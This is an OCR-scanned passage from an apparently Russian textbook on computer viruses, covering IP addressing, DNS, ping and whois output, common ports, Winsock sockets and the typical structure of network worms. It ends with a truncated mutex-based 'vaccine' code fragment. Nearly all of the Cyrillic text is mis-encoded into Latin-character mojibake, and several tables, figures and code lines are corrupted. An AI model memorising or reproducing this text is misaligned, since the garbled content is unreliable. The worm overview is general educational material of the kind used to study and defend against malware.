B UyJOBUII» JOJKHBI IOMHUTb IIPOCTON U OBICTPBII CETEBOIl IIPOTOKOJ
NetBIOS, koTopblii 110 yMOJYAHUIO TIOJ/IEPKUBAJICI TAKUMU KOMIIbIO-
TepHBIMU UTpami, Kak «Dooms, «Heretic», «Quake» u 1. 1. Ho K KoHITy
IPOIILJIOTO CTOJIETHS TJIABEHCTBYOIEe 3HAYEHIE MPHOOPea TEXHOIOT S,
ocHoBanHas Ha [P-ampecaruu u AByX TpaHcrnopTHbIX rpotokosiax: TCP
n UDP. U takoe nosioxeHue /i1 He TTPOCTO COXPAHUIIOCH /IO HACTOSIIIETO
BpPEMEHHW, HO U CYIIECTBEHHO YKPENMJIOCh.

B nepBom pecsatunerun XXI Beka OCHOBHYIO POJIb B CETAX UTPAET CHU-
crema [P-agpecaniuu Bepcumu 4 (cokpaiienHoe nanmenoBanue «IPv4»),
obsagaroras, mo obieMy MHEHHUIO, PSIOM HEJ0CTaTKOB, HO IIOKa «He3a-
MeHUMas» B CBSI3W CO CBOEH MMPOYaIell paclIpocTpaHeHHOCThIo. B co-
orBeTcTBUM ¢ TpeboBaHusAMU cTangapra IPv4 azpec ysia npezacraBiser
coboii 32-6uroBoe umcao. HerpyaHo coo6pasuth, 4TO 9TO HaKJIALbIBa-
eT orpaHMYeHUe Ha IIOTEHIMAJIbHbIE «pasMepbl» VHTepHeTa: He GoJiee
4 MJIPJT Y3JIOB W, KPOME TOTO, OTPOMHOE KOJIMYECTBO AJPECOB SBISIOTCS
3ape3epBUPOBAHHBIMU.

ITpunsTa dhopma 3ammcu ajpeca B BUAE YeThIPeX 8-OMTOBBIX OKTETOB:
AAA.BBB.CCC.DDD, npuyem Kask/Jplii OKTET 3aITMChIBAETCS JeCATUY-
HbIM uncsoM. OkreTsl «0», «127» 1 «255» urpatot 0codyio posb. Yucio
«0» B 1106011 TO3UIUN O3HAYAET «3TY MAIIUHY» WU «3TYy CeTh». YUCIIO
«255» COOTBETCTBYET MIMPOKOBEIATETHHOMY AIPECY, O KOTOPOM JIOJIXK-
HbI 3HATh BCe MalnHbI ceTu. Ecin riepBhIit okTeT afpeca paBeH «127», To
JAHHBIN a/[pec CChIJIAETCS Ha «3aKOJIbIIOBAHHbBIN WHTEep(helic» — (UKTHUB-
HYIO C€Tb, COCTOSIIYIO TOTHKO M3 OJHON JOKaJIbHOU MammHbl. [P-anpec
«127.0.0.1» (cumBomnueckoe obosuauenme — <«localhost») Bcerma Oy-
JIeT BOCIPUHAT Y3JI0M KaK CBOil cCOOCTBEHHBIN MAeHTU(UKATOP, KaK «a3
€CMb», IaXKe eCJIi MallnHa (PU3UIeCKH He MOKII0YeHa K CETH.

¥Y3i1b1 ¢ IepBbIM OKTeTOM B inanazone 1-191 Bxondr B KpynHble TJ10-
GaJIbHble CETH, OXBAThIBAIONIME UH(MOPMALMOHHOE IIPOCTPAHCTBO MOJLY-
nrapuii, KOHTMHEHTOB, TOCY/ZAPCTB M KPYIHBIX Koprioparuii. Ajpeca,
HaumHAaroImecs ¢ 224—254, aBsioTCs 3ape3epBUPOBaHHBIMU. 11 TOMBKO
ajipeca, 1epPBbIil OKTET KOTOPbIX MMeeT 3HaueHue B juanaszone 192—-223,
JIOCTYIIHbI HA <«pbIHKe». Bripouem, y3Jbl BHYTPH JIOKAJbHOW ceTu, He
MMeIoIIe HeIOCPe/ICTBEHHOTO Bbixo/1a B IHTepHeT, MOTyT UMETh TIPOU3-
BostbHBIE [ P-ampeca.

Kcratu, B nepcnexkrusnom cranjapre [P Bepcuu 6 (ujau mpocto
«IPv6») 1oz agpec orBoautTcs 128 6UTOB. ITOT CTaHAAPT y/KE Peain3o-
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BaH B COBPEMEHHBIX CETEBBIX OIEPAIMOHHBIX cUCTeMaX (HarpumMep, B MS
Windows, naumnas ¢ Bepcun 2000), 11 €ero akTUBALMU JOCTATOYHO
MTPOCTO WHCTAJIMPOBATH COOTBETCTBYIONIMH TIPOTOKOJ W TIOCTABUTH «T'a-
JIOUKY» B CBOMICTBAX CETEBBIX ITO/IKJIIOUEHHIL... TOJIbKO BOT KaK C/I€TATh 9TO
HA BCEX KOMITbIOTEPAX IIAHETHI OJJHOBPEMEHHO?

Ha cepeauny 2008 1. 86% aapectoro npocrpatncrsa MHrepHeTa ObLim
yoke rcuyepranbl. OJJHAKO HaKaHyHE MPOBOMINCH UCCIEIOBAHMS: KaKOH
nportieHT [P-agpecoB MHTepHETA peanbHO 3a/1eliCTBOBAH, TO €CTh HE ITPOC-
TO OT/IAH B [TOJIb30BaHIE KAaKOU-11O0 OPTaHU3AIIH, & TIPHCBOEH PeaibHO
paboTarotieil 1 OTKINKAIOIIENCs Ha BBI3OBBI MAIIiHE, Pe3y IbraThl MOKH-
POBAJIU HKCIEPUMEHTATOPOB: OTPOMHOE KOJIMYECTBO aJ[PECOB OKA3AINCH
<aycrbiMu» [56]. B 2011 1. 66110 oduimanbHo 00baBIeHO 00 NCYepIIaHuK
aJIpecHOTo TpocTpancTBa VIHTepHETA, OHAKO CBOOOHBIE ajipeca, 3apa-
Hee 3aKyIJIEHHBIE MPEATPUUMUNBBIME «CIEKYJISTHTAME», CBOOOIHO MIPO-
JAI0TCST U TIPHOGPETAIOTCSE HA PBIHKE B I0CTATOYHBIX KOJIITYecTBax. MosKeT
ObITh, HE CTOUT [10KA TOPOIIUTHCA ¢ BBeieHeM «IPv6»?

6.2.4. CumBonuyeckne MMeHa JOMEHOB

Hudpossie agpeca y3moB HTEpHETA TPYAHO 3aIIOMUHATH, TI09TOMY CO-
BMECTHO ¢ TPOTOK0JI0M IP mmpoko uctosbayercst caysxba DNS. DaxTu-
YeCKU OHa IOALEPKUBAET TaOJIMIbl, B KOTOPBIX YKa3aHbl COOTBETCTBUS
MeXKLy 1TN(POBLIM a[PECOM U CUMBOJIbHBIM UMEHEM Y3J1a.

127.0.0.1 localhost
213.180.204. 11 www. yandex. ru
216.239.59.99 www. google. ru

IMogo6Has Tabimia UMeeTcs Ha KaxoM KOMIbioTepe, B daiine «C:\
Windows\hosts> wumu «C:\WinNT\System32\Drivers\etc\hosts», u
WMEHHO OHA UCIIOJIb3YETCS B MEPBYIO 0UYepe/ib I orpenesenus mudpo-
BOTO ajipeca 1o cuMBoJibHOMY. [IpaB/a, Mo yMoganuio oHa mycra (ecjan
KTO-HUOY/Ib — caM TI0JIb30BaTeNb UM KOBAPHBIA BUPYC — He BHEC Ty/a
HYKHBIX CTPOK), U IT03TOMY CeTeBble TTPOrPaMMBbl ITPUKJIAHOTO YPOBHS
obparanTcest 3a MOMOIIBIO K criennaibHbiM DNS-cepBepam, KOTOpbie co-
AEPKAT AECATKN U COTHU TbICAY, a NHOT'Zla 1 MUJIJTMOHDBI HOI[O6HI)IX 3alu-
ceil. B 6asax manubix DNS-cepBepoB cOLEPKATCS «CTPOKI» PA3IUUHBIX
TUTIOB: «A» OTPEIEJIIOT COOTBETCTBUE CUMBOJMUYECKOTO U YHCJIOBOTO
anpecoB; «NS» ykasbiBaioT Ha npyrue DNS-cepepb; «MX» coorBet-
cTBYIOT TIouTOBBIM anpecam; «CNAMEy ompezensior mceBAOHUMBI JIJI
JJOMEHHbIX UMEH U T. II.
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CuMBOIMYECKOE UMsI, KPOMe YHOOCTBA 3aIlOMMHAHMUSI, CAYXKHUT elle
/71T OPTAaHU3AINH TTePBUYHON MepapXuM CeTeBBIX pecypcoB. Tak, caMbIil
HpaBbH;'I KOMITOHEHT MME€HUN YKa3bIBA€T Ha TUII peCypcCa NJIN roCyaapCTBO,
KOTOPOMY pecypc nmpuHaiieskut (Hampumep, .ru — Poccus, .ua — Ykpa-
MHa, .com — KOMMepYecKasd opraHusalivsd, .0org — HEeKOMMepUecKasd opra-
HU3alusl, .net — ceTeBoil mpoBaiizep, .edu — yueOGHoe 3aBeJieHne 1 T. IL.).
OcraibHble 3JIEMEHTBI MOTYT TOKE OBITh «TOBOPSIIMMU», TaK, HAIIPUMEP,
cailT Www.antivir.ru npuHaJIeKUT KoMaH/e aHTuBupyca DrWeb. Brpo-
4eM, 3a «KapeHbIMW» H()hde}{HIJBAIIIlhde}IaBAIIIIZIeT‘6(leIHEUI()X(Yra,IIX 11po-
JIAIOT U TIePenpoiaioT, TaK YTO TOPOK UM caifTa TOBOPUT TOJBKO O TOM,
YTO €Tr0 BJa/eJsIell He TTPOYb 3aMaHUTh K cebe Ha pecypc oOOoJIBIIE TTOCe-
THTEHeﬁ,HCHOHLSOBaBCOBepHKﬂHH)«HGBYED»BTHKGTKy

[Ipu opranusaiuu ceTeBOl 3alUTHI HEPEKO ITPUXOIUTCS PeliaTh 3a-
naqy onpeneaeHsa peajibHOTO MECTOIIOIOKEHWA U ITPUHAJICKHOCTU pe-
Cypca 110 CUMBOJIMYECKOMY NMEHN.

Yrunura Ping (ona ectb u B Windows, u B8 UNIX) 103BOJIMT HE TOJBKO
OIPE/IENTUTH KAUECTBO CBSI3U € YKa3aHHBIM Y3JI0M, HO 1 COOOIIUT €ro 1u-
posoii [P-ampec:
06meH nakeTamy ¢ www.virus.com [207.97.216.211] no 32 6anT:

OteeT oT 207.97.216.211: u4ucno 6ainT=32 Bpema=299mc TTL=58
OteeT oT 207.97.216.211: 4ucno 6aiiT=32 Bpema=258mc TTL=58
Bpemsi oxuaaHns 3anpoca WCTeKNo.
O0TtBeT oT 207.97.216.211: 4yucno 6ant=32 Bpema=255mMc TTL=58
Ctatuctuka Ping ana 207.97.216.211
MlakeToB: nocnaHo = 4, nonyyeHo = 3, notepaHo = 1 (25% noTepb),

NpubnnanTenbHoe Bpema nepepayn 1 npuema
HanmeHbwee = 255Mc, Haubonbuwee = 299Mc, cpegHee = 270Mc

Yrumura Tracert (ee UNIX-anasnor naspiBaercst Traceroute) mokaskeT
MyTh Yepe3 MapiipyTusaTopbl BcemupHo# mayTHHbI, BeyINi K yKa3aH-

HOMY pecypcy:

TpaccupoBka MapwpyTa K www.virus.com [207.97.216.211]
C MakcumanbHbM Yyucnom nepexopnos 30:
1 257 mc 267 mc 245 mc 89.186.244.60
388 mc 252 mC * big.ssau.ru [89.186.244.24]
248 mc 244 mc 244 mc 89.186.225.241
243 mc 244 mc 285 mc smal5.sma?2.transtelecom.net [217.150.61.142]
303 Mmc 340 mc 301 mMc adm-bi-link.telia.net [213.248.78.73]
487 mc 303 mc 300 mc adm-bb2-1ink.telia.net [80.91.252.22]
518 mc 333 mc 362 mMc 1dn-bb2-pos7-2-0.telia.net [213.248.65.157]
* 384 mc * ash-bb1-link.telia.net [21°3.248.65.210]
414 mc 425 mc 390 mc rackspace-106764-ash-bb1.c.telia.net
[213.248.88.118]
10 * 514 mc 441 mc v1an901.corel.iad1. rackspace.com [69.20.1.10]
11 398 Mmc 405 mc 394 mMc aggrba.iadl.rackspace.com [69.20.2.19]

©O© 00~ O OB W)
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W nakoHel, MHOTOYNCJIEHHbIE WHTEPHET-CANTHI, MPEIOCTABJSIOININE
yeayry «whoisy (Hampumep, http://www.whois.com), 03B0JISAT y3HATH
PeanbHOro BIAJEIbIla PECYpPCa U €T0 OCHOBHBIE XaPaKTEPUCTHKM:

Domain Name: VIRUS.COM
Registrant [21027]
Garry, Chernoff
NetIncome Ventures Inc
345 Lower Bench Road
Penticton

B.C.

V2A8V4

CA

Bripouem, He yAUBJISHTECH, €CIM ITOT CEPBUC OTKAKETCS COOOIIUTDH
JAHHBIE O BJIAJIETbIIE KOHKPETHOTO CaiiTa MM COOOITUT O HEM KaKyI0-HH-
Gy/ib uyIb. JIes10 B TOM, 4TO OpPraHU3aI[1K, PETUCTPUPYIONTHE JOMEHHBIE
MMeHa, Ha CaMOM JieJie He 00s13aHbI TPEI0CTABIISTh MH(HOPMAIIUIO O CBOUX
KJIMEHTaX MEPBOMY BCTPEUHOMY.

6.2.5. KnueHtbl n cepsepbl. MopTbl

Hauunasi ¢ TpancnopTHOro ypOBHS, IPAKTUYECKU BCE B3aUMOJIENCTBUE
MEKLy KOMIIOHEHTAMU, PEJIN3YIOIUMHU TOT WJIX MHOU TTPOTOKOJ, BEIETCS
B PEKUME «KJIUEHT—CEPBEP». ITO 3HAYWT, UTO HA OJHOM Y3JI€ CETH TIPH-
CYTCTBYET cepaep, YMEIOIIHii BBIMOIHATH OMPeIeeH bl Habop (yHKIHiT
1 CIIOCOOHBII BOCIIPUHUMATH HEKOTOPbIN HAOOP YIIPABJISIOINIIX 3a1IPOCOB
WJI KOMAaH]/I, 2 Ha JIPYTOM Y3JI€ — KAUeHm, KOTOPbIH X0UeT MOJyYUuTh OT Cep-
Bepa HEKYTO YCIIYTY U JIJIst 9TOTO TTOCHLIAET eMY YITPABJISIONNE KOMAH/IBL.

TUnUYHKIT KIMEHT — 5TO TPUKJIALHAS TPOTPAMMa, KOTOPast TIOMOTaeT
10JIb30BATEJIIO [0JIyYaTh AOCTYI K CeTeBbIM ycayram. Hampuwmep, mou-
TOBbIE KJMeHThl — 310 mporpammbl trita Outlook Express win TheBat,
a WWW-kiuentsr — «Gpaysepsi» Tuma Internet Explorer, Netscape
Navigator/Communicator, Opera, Firefox u . 1.

Tunuaneril cepBep — 9T0 OTHENbHAS 331a4a (TO €CTh IIPOIIECC JIN TI0-
TOK HEKOTOPOTO IIPOIIeCCa), MOCTOSTHHO HAXOASIIASICS B TAMITH KOMITBIO-
Tepa W pearupyionas Ha IPUXO/IIIe U3BHE 0 CeTH 3ampockl. B ore-
paiuoHHoil cucteme Windows oHa 00bIYHO odopMIIsIeTcs Kak cayxcoa
(9TO MOHATHE HAM ysKe BCTPeYasoch 1pu usydennu Windows-Bupycos),
a B UNIX-110100HBIX cHCTeMax TaKkue 3a/1a4l Ha3bIBAIOTC <«0eMOHAMU>.
KommibioTep, KOTOPBI CIIEINATBHO BBIIEICH [T XPAHEHUST CETEBBIX [aH-
HbIx (HarpuMep, WW W -cTpanndex nin (paiisioB ¢ TOYTOBBIMU SITITUKAMU )
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U Ha KOTOPOM <IIOHATHI» (TO €CTh 3aITyIIEeHbI) 3a1aui-CePBEPbI, 0GBIYHO
TaK M HAa3BIBACTCS — CemMesbiM WIN unmepHem-cepeepom. BpodeM, i Ha
OGBITHOM TTOJTH30BATETHCKOM KOMITBIOTEPE TIO YMOJTYAHUTO GBIBAET 3ary-
II[EHO HEMAJIO CETEBBIX CIIYIKO, KOTOPBIE BEAYT ceOst Kak cepBepbi!

B namsaTu oHOrO KOMIIbIOTEPA MOTYT OJHOBPEMEHHO <«KPYTUTBHCS»
MHOJKECTBO CEPBEPHBIX 3a7ad. [yt TOTO 4TOOBI WX Pas3adaTh, KaXKIOI
TIPICBAaNBaETCs YHUKAIBHBIN HOMED, KOTOPBIH Ha3BIBACTCSI HOMEPOM NOP-
ma wiu ripocto nopmom. B 3aronoske TCP- nim UDP-nakera, npuxozsi-
IIETO 110 CETH U «IIPUHOCATIETO ¢ cO0O0ii» 3aIIPOCHI U JIAHHBIE, 0053 TEIBHO
MOJIKEH OBITH yKa3aH HOMED MOPTa, TO eCTh (HaKTHIeCKH HAeHTUHUKATOD
cepBepa, /71 KOTOPOTO 3TOT MakeT TpenHasHaueH. Hy u, ectecTBeHHO,
B 3ar0JIOBKE JIOJIKEH ITPICYTCTBOBATh M HOMEP KJIMEHTCKOTO IIOPTa — Kya
OTBEYATh.

Jlsist GOJIBIIMHCTBA TUIIMYHBIX CETEBBIX CJIYy:KO HOMEpa MOPTOB JOO
crangaprisoBanbl (¢ 0 o 1023), 1160 3ape3epBUPOBAHbI 34 MOIMYJISPHBI-
mu ceteBbiMu mpuitokerusivu (¢ 1024 o 4095). Bor HekoTOpble X HUX
(cm. Tabir. 6.1).

Tabnuuya 6. 1. Han6onee nonynspHbie NopThi

NopTt n:::Ta Cnyx6a
7 TCP/UDP | 9xo0
20, 21 TCP FTP — nepepava ¢ainos
23 TCP Telnet — BUpTyaNbHbIN TEPMUHAN
25 TCP SMTP - nepegaya 3neKTPOHHOM NOYTbI
53 UDP DNS - cnyx6a JOMEHHbIX UMEH
69 UDP TFTP — ynpouwieHHas nepegada dainnos
80 TCP HTTP - poctyn Kk WWW-cTpaHuuam
110 TCP POP3 — npocTtoi npnem 3neKTPOHHOM NOYTbI
119 TCP NNTP — goctyn kK rpyrnnam HoOBOCTeW
123 UTP NTP — cnyxb6a ceTeBOro BpeMeHn
135 TCP RPC - pacnpegeneHHblin 4OCTyn K komrnoHeHTam OC
137,138, 139 TCP JocTtyn k NetBIOS uepe3 TCP/IP u NBT
143, 220 TCP IMAP — nprem 31eKTPOHHOM NOYThbI
161 UDP SNMP - cnyxebHble 3anpochbl
194, 6667 TCP IRQ - «Mpka»
443 TCP HTTPS - 3awmweHHbIn goctyn K WWW-cTpaHuuam
445 TCP/UDP | Mpsmoi poctyn k NetBIOS cpencteamu TCP/IP
500 UDP ISAKMP - cnyx6a o6MeHa umdbpoBbIMU
cepTudurkatammn
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Tabnuua 6. 1. Hanbonee nonynsipHbie nopTbl (OKOHYaHNE)

MopT n:::Ta Cnyx6a

512-514 TCP EXEC, LOGIN, SHELL - ynaneHHoe ynpaBneHue
KOMMbIOTEPOM

546, 547, 67,68 | UDP DHCP - gpuHamunyeckoe Ha3HadveHue IP-agpecos

989-995 TCP SSL/TLS - 3almuLeHHbIE BApUaHTbl MIHTEPHET-
NpPOTOKOJIOB

1433, 1434 TCP JocTtyn k MS SQL

1900, 5000 TCP/UDP | UPNP - yHuduumpoBaHHoe obcnyxmaHue Plug-and-
Play

3128, 8080 TCP/UDP | NMonb3oBaTenbckue Proxy

3306 TCP Joctyn Kk MySQL

5190 TCP ICQ — «Acbka»

Takum 06pa3oM, ecJii Ha KOMITBIOTEPE 3allyllleHa 3ajlaua, IPUHUMAI0-
mass TCP- unun UDP-makersl ¢ orpejiesieHHbIM HOMEPOM IOPTa, TO
CUMTAETCs, YTO JIAHHBIN MOPT <OTKPBIT». B poOJIn <«OTKPBITOrO» TOpTA
MOJKET BBICTYIaTh HE TOJBKO KOMIIOHEHT OTI€PAIIMOHHON CHCTEMbI WJIN
JIETAJIBHO TPOMHCTAJIMPOBAHHASL MOJIb30BATEIEM CEPBEpHast Cayskba,
HO U «BUCSIUI» B MAMITU BUPYC. «3aKPbITh» MMOPT MOKHO, TTPUHY/IN-
TEJIbHO 3aBEPIINB COOTBETCTBYIOINILYIO 33/1a4y (UTO OUYEHb HE PEKOMEHJIY-
€TCs JIeJIaTh, HaIIPpUMeEp, ¢ CUCTEMHBIMU TIporteccaMu Tuma «LSASSy nau
«SVCHOST») uiu 3ab6JI0KUPOBAB JAOCTYII MAKETOB K HEH MPH TOMOTIH
(aiipsoJsia (Gpanamayspa).

CHmcox OTKPBITHIX TTOPTOB MOXKHO ITOCMOTPETH HA CAMO MaIlTuHe TTPU
nomouy komanbl «Netstat -a» (uam «Netstat -o» — ga Windows NT).
Ouenb yobHa st atux 1eseit yruauta TCPView ot SysInternals. Eciu
JKe UHTEPECYET CIUCOK OTKPBITBIX TOPTOB, BUUMBIX «CHAPYKU», TO MOXK-
HO BOCIIOJIb30BaThCsl KaKMM-HUOYb CKaHEPOM IOPTOB Tina Nmap Hiu
Xspider, a Takske WHTEpHET-pecypcoM Bpoze http://security.symantec.
com uym http://scan.sygatetech.com.

6.2.6. CeTeBoe nporpaMmmMupoBaHue.
Untepdeic cokeTos

[Ipsimoe oGpatiieHue K ApailBepy CeTeBOro aantepa Uin ceTeBOn Mojcu-
cTeMe ONepaIMOHHON CHCTEMbI BeCbMa CJI0KHO. [10aTOMY ISt OCTYTIA
cay KO ¥ MPUKJIQIHBIX IPOTPAMM K CETH MCIIOJIb3YETCs YHUBEPCATbHBII
nporpaMMHbIii nHTEpGEiic cokemog. [ob3YIOTCs: UM U CeTeBbIE CIYKOBI
ONePaMOHHOI CUCTEMBI, U IPUKJIAAHBIE IPOTPAMMBL... Ia B BUPYCHI TOKE
He GPe3TyIOT.
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DaKTUYECKH COKET — 9TO HEKUI aOCTPaKTHBII 00bEKT, UTPAIOILIIL POJIb
«JIBEpU», Yepe3 KOTOPYIO MPOTPAMMHBIN KOMITOHEHT MOYKET IPIHHUMATh U
MOCHLTATh JaHHble. Kask/blii COKET B TIpoTlecce CO3/IaHMs U WHUIIHAIN3a-
WU JKECTKO MPUBSA3bIBACTCS K onpeniesieHHoMy [P-aznpecy u mopty, Kpome
TOTO, /71 HETO YKA3bIBAETCS CIIOCO0 Mepeiauu JaHHbIX:

O otnenpabIME JeiiTarpaMMamu (1o ipotokosy UDP);

O cycraHoBJIeHUEM TOCTOSTHHOTO coeprHenus (1o mpotokory TCP);

QO ¢ «pyuHBIM» (HOPMHUPOBAHUEM CTPYKTYPBHI MEPECHIIAEMOTO TTaKeTa

(8 Windows a10T c1iocob peain3oBaH B CUJILHO YPE3aHHOM BU/IE).

[TepBoHAYAIBHO COKETHI OBLIN Pa3pabOTaHbl U PEATH3OBAHBI CTICITHA-
quctamn YHuBepcuteta Bepkin B oneparmonsoii cucteme BSD UNIX.
Ira peasusalys MPaKTHUECKH Oe3 M3MEHEHUs] MepeKoveBajia Ha BCE
UNIX-nogo6ubie cucrembl. Kpome Toro, marepdeiic cokeToB oKasajics
HACTOJIBKO YAOGHBIM, 4TO TPOrpaMMHUCTBI hupMbl Microsoft cozmasmm ero
aHaJory He ToJIbKO it Windows (ata mojcucTemMa moJrydnsia HanMeHo-
Barne Winsock), Ho u it MS-DOS!

OAHOBPEMEHHO HAa KOMIIBIOTEPE MOTYT IPUCYTCTBOBATH HECKOJIBKO
Bepcuii nogcucteMbl WinSock. OcHOBHOIT HAOOP cepBUCHBIX (YHKIIMIA,
cooTBercTByfoIIuX Bepeun 1.1, comepxurcs B 6ubmmorexke « WSOCK32.
DLL». bonee «mpoaBunyTasgy Bepcus 2.2 (OHA UCTOIB3yeTCs, HAUNHASA
¢ Windows OSR-2) pacnpezenena o 6ubanorekam «WS2 32.DLL» u
«MSWSOCK.DLL». Brpouewm, B Bepcuu 2.2, o cpaBaenuio ¢ 1.1, ne
TOJIBKO MOSIBUJIKCH HOBBIE CPEJCTBA, HO TAK/Ke Psi/l YAOOHBIX U MPUBBIY-
HBIX JIJIST TPOTPAMMUCTOB (DyHKITUiT ObLT yaneH, He yMBUTEIHHO TI09TO-
MY, 9YTO HEKOTOPbIE CETEBble BUPYCHI MCIOJIB3YIOT BO3MOKHOCTU 0OEnX
BepCUil, UMIOPTUPYsT HYHKITMU U30 BCEX TPEX OOINOTEK.

ITpu oprarusaIuu ceTeBoro 0GMeHa Jalle BCero MPUMEHSIETCsT CPaBHU-
TeJIbHO HEOOIbIION HAOOP CePBUCHBIX (DYHKIUIL:

«WSAStartup» — nHrIMaIU3UpyeT PaboTy C COKETAMM;
«WSACleanup» — oTMeHsI€T MHUIMAIM3ALUIO MTOACUCTEMbBI CO-
KeTOB;

«socket» — cosgaeT OOBEKT TUIIA «COKET»;

«closesocket» — yHuuTOXKAET OOBEKT TUIIA «COKETY;

«bind» — mpuBA3BIBaET COKET K KOHKPETHOMY TIOPTY U aIPECY;
«listen» — npocarymuBaeT «aGup», 0KUAAS 3aPOCA;

«accept» — yCTaHABJINBAET CBA3b CO CTOPOHBI CEPBEPA;

«recvy» Wi «recviroms — CYUTBHIBAET MPUIIIEAIINE JaHHbIE;
«connecty — MMbITAETCS YCTAHOBUTH COETUHEHUE C CEPBEPOM;
«send» i «sendto» — nepeaeT JaHHBIE.

ITpakTHuecKn Bech CeTeBOI OOMEH MEXKAy KJIMEHTAaMHU U CepBepaMiu
YCTPOEH TI0 OTHO U TOH Ke cxeme (cM. puc. 6.2).

(OF©,

(ONONONONONONONO,
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KnuexTt Cepeep
[ wsastartup) | |  wsastarup) |
1 1
| socket() | | socket() |

| connect) |\ | listen() |
——>| N [
I send() K ﬂ accept() I

closesocket()

Oa
WSRGicanir)

WSACIeanup()

Puc. 6.2 < Anroput™m KIMEHT-CEPBEPHOro B3aMOAENCTBMS

Baxkuyio posb urpaior Takxke dyHkuun <htons», <htonl», «ntohs» u
«ntohl», Menstiomume nopsaok 6aliToB B JaHHBIX. (€10 B TOM, YTO B CETIX
TIPUHST TOPSIZIOK GaiiToB, 06PATHBII NCTOIB3yeMOMY B TIpotieccopax Intel.

B Windows rtaxske umerorcss crangaptibie 6ubanorexu (Harpumep,
«MPR.DLL»), npefocTaBisiiolie nporpaMMucTamM 6oJiee BBICOKOYPOB-
HEBbIE CEPBUCHBIE (DYHKIUH, TaK U4TO BCA paboTa C COKETAMU CKPbITa
BHYTPH HUX.

6.3. Tunosble CTpyKTypa
N noBeAeHVe NPorpammbl-4Hepss

..M momuac us mymmnoi ecnenenioi 600l Gvl-
HOIPHYAU U KUHYAUC 0CCAMKU OCKAIEHHBIX 3Y-
bacmuix nacmet...

A.u B. Crpyraukue. «Ilonnens, XXII Bex»

TUNUYHBIH COBPEMEHHBIN YePBb TPEACTABIIeT COO0H aBTOHOMHYIO MTPO-
IPaMMYy, BBIIOIHAIONYIOCS B 32- 1 64-paspsaanbix Bepcusax Windows. Ox
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He 3apaskaeT HUKAKUX JAPYTHX TIPOTPAMM, 09TOMY TpeboBaHMe KOMITAKT-
HOCTH KOJIa JIUIsl HETO He CJIMIIKOM aKTyaJbHO. B GOJBITMHCTBE Cydaen
OH JIakKe THIIETCS] Ha KAaKOM-HUOY/b s13bIKE BBICOKOTO ypoBHst — Ha C,
Delphi, Visual Basic u 1. 1. 106561 3aTpyAHUTE pabOTy BUPYCOJIOTY, 3J10-
Bpe/iHAst TIPOTPaMMa 4acTeHbKO 06pabaThiBaeTCs KaKUM-HUOY/Ib BHEII-
HUM YIaKOBIUKOM uan mudposumkoM tuna AsPack, AsProtect, UPX,
PECompact, PE-Crypt, tElock, Armadillo u T. 1., a ToO 1 HECKOJBKUMHE
cpasy.

OO6bIYHO TIPOrpaMMa-uepBb He UMeET OKHa (TO CTh B HEH OTCYTCTBYIOT
BbI30BbI hyHKIMiT «RegisterClass» u «CreateWindows ) u ripezcrasJisier
co00ii TOCTOSIHHO HAXOAAIIUICS B IAMATH TIpoliecc. BaskHoil ocobeHHo-
CThIO0 GOJIBIINHCTBA YePBeil ABJISETCS UX MHOTOMOTOUHOCTD: 3/10BPEAHAST
rporpamMma ohOpMIIIeTCsI B BU/IE HECKOJIBKUX 3AIMKJIEHHBIX MOTOKOB,
KaJKIbII U3 KOTOPBIX HEIIPEPHIBHO BBITIOJIHSIET ONPe/IeJIEHHYIO OIIePAIIHIO.
OCHOBHBIX OTIepalluii JBe:

Q «3akperieHne» Ha KOMIbIOTEpe, 4ToObl obecrednTs cebe aBTo3a-

MYCK IIPU KAKIOI [1epe3arpysKe;

O pacnpocrpanenie M0 CETSIM Ha JAPYTHe KOMIIbIOTEPDI.

Ho BcTpeuaiorest yepBu, KOTOPBIE BBITIOJIHSIOT MACCY IPYTUX «BCIIOMO-
raTeJbHbIX», TUIIUYHO TPOSHCKUX OTIePaIlUii:

O obuoBIeHNE cebs 110 CETH € YAAJEHHbBIX MalllUH;

O pacchuIKa «criamay;

Q c6op U OTCHUIKA BUPYCOMUCATEIO-<«XO3AUHY> KOH(DUAECHIIUATb-

HBIX CBEJIEHUIl O MAIIIUHE U ee XO35IUHE;

O BbINONIHEHNE KOMAH/I, TPUXOASIIUX OT BUPYCOIUCATESI-«XO35IH-
Ha» WU OT IPYTOTO 9K3EMILISIPA YE€PBSI, THIIA — «CTEPETh TAKOI-TO
aiiny, «nepeagpecosars Takoii-to TCP-makeTs, «1ocjaTth 3arpoc
1o Takomy-To IP-azpecy» u T. 1.

[Tocnenmsist rpyIia oneparuii XapaKTepHa /st TAK HA3bIBAEMBIX «30M-
OGUPOBAHHBIX» MAINH, BXOJAANMX B COCTaB «OOTHETa» — TPYIIbI 3apa-
JKEHHBIX MAIIUH, COBMECTHO BBITIOJIHSIONNX KaKue-I100 He MPeyCcMOT-
PEHHBIE X035IeBAMHU, HO HEOOXOAUMBIE 3JI0YMbBITIIIEHHIUKAM J€HCTBUSL.

MHOromoTOYHOCTh YePBST 03HAYAET, UTO OT/EJIbHbBIE OTIEPALIUU BBITIOJI-
HSIIOTCSI HECKOJIBKUMU TIOTOKAMU («HUTSIMU» ), HAIPUMEDP OIUH U3 HUX
paccbuiaet aila uepBs 10 MalTiHAM JIOKAJIbHOU CEeTH, JIPYTOH JIeJIaeT TO
JKe caMOe CPeJICTBAMU 3JIEKTPOHHOMU MOYTDI, TPETUH MBITAETCS TOA00PATH
MapoJib K XOCTY U T. IT. — CM. puc. 6.3.

OO06bIYHO BUPYCHBIN MPOIECC IPU MEPBOM 3aIyCKe B3BOAMUT (PIIasKOK
CBOET0 HAJIMYKS ITAMSTH [IPU TOMOIIM MeXaHu3Ma ceMa(OopoB WU MbIO-
TercoB. [Ipu MOBTOPHBIX 3allycKaX OH IPOBEPsIET cOCTosiHue (hraxkka u
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EpBEb B
namaTn?

Het

ABTo3anyck
obecneyeH?

_— =
O6ecneveHue Paccbinka Euwe kakas-To
aBTo3anycka cebsa onepauus

Puc. 6.3 « TunuyHblii anropmutm paboTbl CETEBOro YepBs

mpekpaiaer paboTy, eCJIU KON BUPYCHOTO MPOIECCA YIKE «CUIUT> B Ma-
msaTu. OTcioa BBIBOA: 3HAsA UM CHHXPOHU3UPYIOLIEro oobekTa (Hampu-
Mep, oaHa u3 Bepcuit uepsst Worm. Win32.0pasoft cozmaBaia MboTeKC
«GustavoDist»), MOXKHO 3aIlyCTUTh CBOU «BaKIIMHUPYIOIUIT» TPOIIECC,
KOTOprfI HE ITyCTUT «3JI0Bpe€/ia» B MMaMATD.

HANDLE h;

h = CreateMutex( NULL, TRUE, "GustavoDist" );
if ((GetlLastError()==ERROR_ALREADY_EXISTS)||('h)) {

